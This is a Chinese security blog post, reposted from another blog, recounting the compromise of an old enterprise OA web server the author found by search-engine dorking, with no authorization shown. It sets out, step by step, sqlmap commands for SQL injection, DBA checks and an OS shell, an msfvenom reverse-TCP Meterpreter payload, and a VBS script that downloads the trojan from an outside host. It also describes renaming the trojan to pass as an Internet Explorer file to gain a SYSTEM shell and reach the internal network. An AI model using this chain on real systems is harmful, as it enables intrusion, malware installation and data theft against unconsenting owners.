某OA系统SYSTEM权限SQL注入 | 您所在的位置:网站首页 › iotseczone › 某OA系统SYSTEM权限SQL注入 |
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
0x01 发现漏洞 七月正值暑假,闲暇时光在百度上inurl一番,找到了一个古老的企业OA系统![]() IP站点,没有域名,扫过一眼,.NET流行时代的普遍漏洞浮现在脑海里——SQL注入 在用户名里输入admin’,不负期望地报了错 ![]() 0x02 漏洞验证 打开BurpSuite,设置好浏览器代理,抓下HTTP请求,一气呵成。![]() 问题参数为 txtLogin=admin%27,可将整个请求复制到 test.txt,使用sqlmap -r 来注入 sqlmap -u http://x.x.x.x/xx.aspx --forms![]() 至此,可以确认存在error-based、stack quires和time-based三个类型的漏洞 0x03 判断数据库用户的权限 发现SQL注入后,首先要判断权限,高权限的注入可以为后续渗透省下很大功夫 sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba![]() 非常nice,再次不负期望地返回了DBA权限,输入以下命令,获得一个shell sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell![]() 0x04 反弹shell 深入内网 生成一个shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe由于环境艰难,不能直接上传文件,我选择了用vbs脚本来下载木马到服务器 代码如下: Set post=CreateObject("Msxml2.XMLHTTP") post.Open "GET","http://x.x.x.x/shell.exe" '发送请求 post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() '等待3秒,等文件下载 wscript.sleep 3000 aGet.Write(post.responseBody)'写数据 aGet.SaveToFile "shell.exe",2用echo命令缓慢地写完了vbs脚本之后,顺利运行,下载了木马 更改名字,移动到IE安装目录进行伪装 ![]() start iee.exe 运行木马,metasploit成功收到了SYSTEM权限的shell 该主机拥有内网IP,存在内网,可以互通,并且该主机作为中央数据库 ![]() ![]() 0x05 结束测试,提交漏洞 本次渗透测试成功拿到最高权限, 到此为止,不再深入。 随着攻击与防御技术的彼此攀升,程序员的安全意识逐渐提高,SQL也越来越少。但不少粗糙的程序和古老的系统仍然存在此漏洞,此类漏洞解决方法简单,只用对用户输入参数稍加处理即可。 文章来源:Woojay's Blog 原文地址:https://blog.blankshell.com/2019/09/12/某oa系统从system权限命令执行到漫游内网漫游内网/本文作者:潇湘信安 本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/197389.html |
CopyRight 2018-2019 实验室设备网 版权所有 |